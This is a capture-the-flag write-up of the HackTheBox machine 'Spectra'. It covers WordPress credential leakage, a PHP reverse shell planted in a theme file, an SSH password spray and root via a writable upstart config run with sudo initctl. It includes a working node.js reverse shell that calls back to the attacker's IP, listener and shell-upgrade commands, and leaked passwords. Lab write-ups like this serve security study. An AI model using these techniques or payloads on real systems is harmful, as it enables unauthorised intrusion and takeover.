Spectra is an easy machine from HackTheBox that runs a Chrome OS. It starts by enumerating a WordPress website, which has a directory listing enabled, thus exposing its source code. Examining the source reveals a database password that is reused by the wordpress admin. With administrator access, I’m able to inject a PHP code into a theme file to get a foothold on the system. Enumerating the internal discovers an auto-login password, and it is reused by a user. The user has sudo permissions on initctl
, which can be exploited to get a root shell.
Skills Learned
- WordPress exploitation
- Command injection
- Sudo exploitation on initctl
Tools
- Nmap
- CrackMapExec
Reconnaissance
Nmap
nmap
full scan discovers three open ports: SSH on port 22, Nginx web server in port 80, and MySQL.
→ root@kali «spectra» «10.10.14.21»
$ nmap -p- -sV --reason -oA nmap/10-allport 10.10.10.229
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 10:10 EDT
Nmap scan report for 10.10.10.229
Host is up, received echo-reply ttl 63 (0.052s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.17.4
3306/tcp open mysql syn-ack ttl 63 MySQL (unauthorized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.14 seconds
MySQL service is normally tied to 127.0.0.1, but nmap
already identified that I have no access there.
Running a script scan didn’t find any interesting information.
Enumeration
TCP 80 - spectra.htb
The site appears to be under development.
Inspecting page source discovers a hostname and two directories:
I’ll update my /etc/hosts
with the hostname.
→ root@kali «spectra» «10.10.14.21»
$ echo '10.10.10.229 spectra.htb' >> /etc/hosts
Poking with curl
, shows that with or without the hostname it’s the same site.
→ root@kali «~» «10.10.14.9»
$ curl -s http://spectra.htb/ | wc -c
283
→ root@kali «~» «10.10.14.9»
$ curl -s http://10.10.10.229 | wc -c
283
Clicking on “Software Issue Tracker”, redirects to a WordPress site and nothing interesting except one default post by administrator.
Visiting “Test”, the site page shows an error message about database connection.
Removing index.php
from URL, reveals that this page has directory listing enabled.
The wp-config.php.save
file draws my attention. It contains a set of database credentials.
→ root@kali «spectra» «10.10.14.21»
$ curl http://spectra.htb/testing/wp-config.php.save
<?php
...<SNIP>...
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
...<SNIP>...
Foothold
Shell as nginx
WP-Admin Dashboard
The database password works with administrator account (administrator:devteam01
), it allows me to access the admin dashboard.
Injecting Reverse Shell
Armed with administrator access, I can inject a malicious PHP code into one of the available themes files and execute it by visiting the full URL of the theme file. In this case, I’ll inject a reverse shell script in 404.php
file of the Twenty Nineteen theme. The file can be found at Appearance > Theme Editor.
I’ll access this URL to get a shell: http://spectra.htb/main/wp-content/themes/twentynineteen/404.php
, but it returns an error message pointing on line 12.
I’m able to resolve the error by commenting out the line 12.
This time, I’ll trigger the reverse shell using curl
.
→ root@kali «spectra» «10.10.14.21»
$ curl -s http://spectra.htb/main/wp-content/themes/twentynineteen/404.php
On my listener.
→ root@kali «spectra» «10.10.14.21»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.229] 35166
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 AMD EPYC 7302P 16-Core Processor AuthenticAMD GNU/Linux
09:14:42 up 10:53, 0 users, load average: 0.02, 0.04, 0.00
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ hostname
spectra
Shell upgrade
My current shell doesn’t have PATH variable set, so I have to use the full path to upgrade my shell.
$ which python3
which: no python3 in ((null))
$ ls /usr/bin/ | grep python
python
python-config
python-wrapper
python2
python2.7
python3
python3.6
python3.6m
$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
nginx@spectra / $ export TERM=xterm
nginx@spectra / $ ^Z
[1] + 7285 suspended nc -nvlp 9001
→ root@kali «spectra» «10.10.14.21»
$ stty raw -echo; fg
[1] + 7285 continued nc -nvlp 9001
nginx@spectra / $
To resolve the ((null))
message, I’ll add /usr/bin
to current PATH variable.
nginx@spectra / $ env
TERM=xterm
USER=nginx
PWD=/
SHLVL=1
HOME=/home/nginx
_=/usr/bin/env
nginx@spectra / $ export PATH=$PATH:/usr/bin
nginx@spectra / $ which python
/usr/local/bin/python
Privilege Escalation
Shell as katie
Internal Enumeration
There are 4 users with login shell in this machine.
nginx@spectra / $ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
chronos:x:1000:1000:system_user:/home/chronos/user:/bin/bash
nginx:x:20155:20156::/home/nginx:/bin/bash
katie:x:20156:20157::/home/katie:/bin/bash
Enumerating home directory shows the user flag is on katie
’s home directory.
nginx@spectra / $ ls -lR /home 2>/dev/null
...<SNIP>...
/home/katie:
total 8
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie 33 Feb 2 15:57 user.txt
...<SNIP>...
All the web files are located in /usr/local/share/nginx/html/
.
nginx@spectra / $ find / -type f -name wp-config.php 2>/dev/null
/usr/local/share/nginx/html/main/wp-config.php
/usr/local/share/nginx/html/testing/wp-config.php
/mnt/stateful_partition/dev_image/share/nginx/html/main/wp-config.php
/mnt/stateful_partition/dev_image/share/nginx/html/testing/wp-config.php
The wp-config.php
file for /main
has different credentials with the one on /testing
. I’ll grab these credentials.
nginx@spectra / $ cat /usr/local/share/nginx/html/main/wp-config.php
...<SNIP>...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'dev' );
/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );
...<SNIP>...
In /opt
, there is a file with uncommon extension called autologin.conf.orig
.
nginx@spectra /opt $ cat autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description "Automatic login at boot"
author "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
passwd=
# Read password from file. The file may optionally end with a newline.
for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
if [ -e "${dir}/passwd" ]; then
passwd="$(cat "${dir}/passwd")"
break
fi
done
if [ -z "${passwd}" ]; then
exit 0
fi
...<SNIP>...
Based on the comments, the file is an autologin script. It looks for passwd
file in these directories:
/mnt/stateful_partition/etc/autologin
/etc/autologin
And the passwd
file in /etc/autologin/
directory contains a password.
nginx@spectra /opt $ ls -l /etc/autologin/
total 4
-rw-r--r-- 1 root root 19 Feb 3 16:43 passwd
nginx@spectra /opt $ cat /etc/autologin/passwd
SummerHereWeCome!!
SSH - katie
I’ll spray SummerHereWeCome!!
and development01
using crackmapexec
to the users who have login shell. Within a few sec, it returns that katie:SummerHereWeCome!!
are the valid credentials.
→ root@kali «spectra» «10.10.14.21»
$ crackmapexec ssh 10.10.10.229 -u users.list -p passwords.list
SSH 10.10.10.229 22 10.10.10.229 [*] SSH-2.0-OpenSSH_8.1
SSH 10.10.10.229 22 10.10.10.229 [-] chronos:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.229 22 10.10.10.229 [-] chronos:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.229 22 10.10.10.229 [-] chronos:SummerHereWeCome!! Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.229 22 10.10.10.229 [-] katie:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.229 22 10.10.10.229 [-] katie:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.229 22 10.10.10.229 [+] katie:SummerHereWeCome!!
I’m able to login via SSH
→ root@kali «spectra» «10.10.14.21»
$ ssh katie@10.10.10.229
Password:
katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
User flag is done here.
katie@spectra ~ $ ls -la
total 36
drwxr-xr-x 5 katie katie 4096 May 15 12:17 .
drwxr-xr-x 8 root root 4096 Feb 2 15:55 ..
lrwxrwxrwx 1 root root 9 Feb 2 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 katie katie 127 Dec 22 05:46 .bash_logout
-rw-r--r-- 1 katie katie 204 Dec 22 05:46 .bash_profile
-rw-r--r-- 1 katie katie 551 Dec 22 05:46 .bashrc
drwx------ 2 katie katie 4096 May 15 12:17 .gnupg
drwx------ 3 katie katie 4096 Jan 15 15:55 .pki
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie 33 Feb 2 15:57 user.txt
Shell as root
Internal Enumeration
The first thing I will check if I have the user’s password is the sudo rights, and this user has one on initctl
. Unfortunately, initctl
is not listed on GTFObins site, so I’ll have to look around.
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
Enumerating for files owned by developers discovers some writable .conf
files and a JavaScript file.
katie@spectra ~ $ find / -type f -group developers -ls 2>/dev/null
32121 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test6.conf
32123 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test7.conf
32109 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test3.conf
32112 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test4.conf
32103 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test.conf
32126 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test8.conf
32128 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test9.conf
32106 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test10.conf
32108 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test2.conf
32120 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test5.conf
32105 4 -rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test1.conf
23763 4 -rwxrwxr-x 1 root developers 251 Jun 29 2020 /srv/nodetest.js
These .conf
files are configuration scripts to start /srv/nodetest.js
. The JS file itself is not that important here.
katie@spectra ~ $ cat /etc/init/test.conf
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
Abusing sudo initctl
With sudo privileges and write access on the configuration files, I can perform a command injection to send myself a root shell.
In this write-up, I’d like to try injecting a node reverse shell.
First, I’ll create a copy of the configuration file, which contains reverse shell to my machine and it is without the pre and post script part. I’ll name it exploit.conf
:
→ root@kali «exploits» «10.10.14.21»
$ cat exploit.conf
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
export RHOST=10.10.14.21
export RPORT=9001
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node -e 'sh = child_process.spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})'
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
After that, I’ll transfer the file to Spectra in /dev/shm
directory.
→ root@kali «exploits» «10.10.14.21»
$ scp exploit.conf katie@10.10.10.229:/dev/shm
Password:
bash: warning: /home/katie/.bashrc: warning: script from noexec mount; see https://chromium.googlesource.com/chromiumos/docs/+/master/security/noexec_shell_scripts.md
exploit.conf 100% 775 13.1KB/s 00:00
I’ll setup a nc
listener on my Kali and execute the following command.
katie@spectra /etc/init $ sudo /sbin/initctl stop test5 2>/dev/null; cat /dev/shm/exploit.conf > test5.conf && sudo /sbin/initctl start test5
test5 start/running, process 33889
If I check my listener, I have a root shell now.
→ root@kali «spectra» «10.10.14.21»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.229] 37220
id && hostname && ip a
uid=0(root) gid=0(root) groups=0(root)
spectra
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:0b:2c brd ff:ff:ff:ff:ff:ff
inet 10.10.10.229/24 brd 10.10.10.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::15c7:10de:7382:baf8/64 scope global temporary dynamic
valid_lft 86303sec preferred_lft 14303sec
inet6 dead:beef::250:56ff:feb9:b2c/64 scope global dynamic mngtmpaddr
valid_lft 86303sec preferred_lft 14303sec
inet6 fe80::250:56ff:feb9:b2c/64 scope link
valid_lft forever preferred_lft forever